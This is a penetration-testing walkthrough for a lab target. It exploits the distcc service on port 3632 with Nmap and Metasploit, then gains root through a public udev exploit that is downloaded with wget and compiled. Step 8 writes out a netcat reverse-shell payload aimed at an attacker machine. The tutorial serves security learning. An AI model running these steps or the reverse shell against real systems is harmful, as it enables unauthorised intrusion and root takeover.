Port: TCP 3632
Service: DistCCD

Vulnerability: Weak service configuration allows an attacker to execute system commands via compilation jobs, which are executed by the server without verifying authorization

Mitigation: Upgrade to the latest version. As of this writing, version 3.1 is available at: code.google.com/p/distcc/downloads/list

Proof of Concept
It was discovered through our Nmap scan, that TCP port 3632 was listening, and running distcc. A quick search revealed a public exploit for this version, which allows remote attackers to execute system commands.

We can test this vulnerability using Nmap. Nmap has an NSE script which will not only check for the vulnerable version, but also run commands against the victim. We can see this by running the following:


As you can see, the Nmap script argument of “uname -a” was executed, and displayed in the results. You could conceivably gain root access to the victim machine by running all your commands through this Nmap script, but it would be a very tedious process. We’re going to bring in Metasploit to help with shell access, and further exploitation.

1. Open Metasploit from a terminal session, and do a search for “distcc”. Set Metasploit to use the exploit, and view the options. In this screenshot, I have the options set, and ran the “info” command so you could see the details of the module.


Here it is with the payload options set:


2. Now run the exploit, and you should be presented with shell access to the victim’s machine:


We now have shell access, but with limited privileges. The next step is to see if we can elevate our privileges to root.

As with any machine we may get access to on a pen-test, there are times when our access is limited, so we need to see if there’s a way to get either “root” on a *nix based machine, or “system, admin” on a Windows machine. To do this, we need to further enumerate the system itself, and see if there may be weak configurations of other programs, vulnerabilities in installed processes, or vulnerabilities at the kernel level.

3. Check the running processes. To do this on a *nix based system, run the “ps” command like so:


This is only a partial listing, but gives a good place to start. When looking for privilege escalation exploits, you may need to go through each process in the list, and search for public exploits available. Also, in this part of enumeration, you will need to know the versions of installed packages, so you can match up to any public exploits there may be.

4. To find out the package versions, you can use “dpkg -l” like so:


This is just a small subset of the data returned, but here I’m focusing on the “udev” process.

There is a known public exploit for older versions of udev. An excellent place to find these exploits is over at Exploit-DB, www.exploit-db.com. Go to their site, and search for “udev”. You will get a few results returned. The one we’re going to focus on is exploit 8572.


You will need to view the contents of this exploit to see what the requirements are for running it.

5. The first thing we need to do, is get this exploit code on the victim machine. To do this, we’ll use “wget” in our shell session.


Note: That’s a capital “O” in the wget argument. We’re telling it the filename to output to, in this case, “pe-8572.c”.

6. So, we’ve downloaded the exploit code on the victim machine, and verified it’s there. The next step is to compile it so that it’s ready to execute. To do this, we’ll use the local copy of “gcc”:


If you view the source code of the exploit, it will tell you how to use it.


7. We need to create a file, “/tmp/run”, then find out what the PID is of the udevd netlink socket. We can simply use “cat” on the directory listed above to view this information:


This number will be different for you, so make sure you verify you have the correct PID. When we run the udev exploit, we have to enter the netlink PID as the argument, and that number is one less than the PID of the running udev process. In this case, if I go back to the process list, the udev PID should be 2286.

8. The next step is to figure out what type of payload we want to use. I’m going to use a netcat session, which will hopefully shovel a shell session back out to our attacking machine. The syntax is a little tricky if you’re not used to using netcat, but should be self-explanatory. We need to “echo” in a couple of lines to the /tmp/run file we created. The commands are as follows:

  • echo ‘#!/bin/sh’ > /tmp/run
  • echo ‘/bin/netcat -e /bin/sh ip_of_your_kali_machine 4545’ >> /tmp/run


When the exploit is executed, it will run netcat on the victim machine, and have it send a shell to our Kali machine on port 4545.

9. So now, just prior to running the exploit, we need to set up a netcat listener on our Kali machine to “catch” the shell sent from the victim.


10. Run the exploit on the victim machine:


11. Catch the shell on the Kali machine:


We now have shell access as root! Be sure to clean up your files when you’re finished gathering data. Delete the udev exploit code you downloaded, as well as the run file that was created.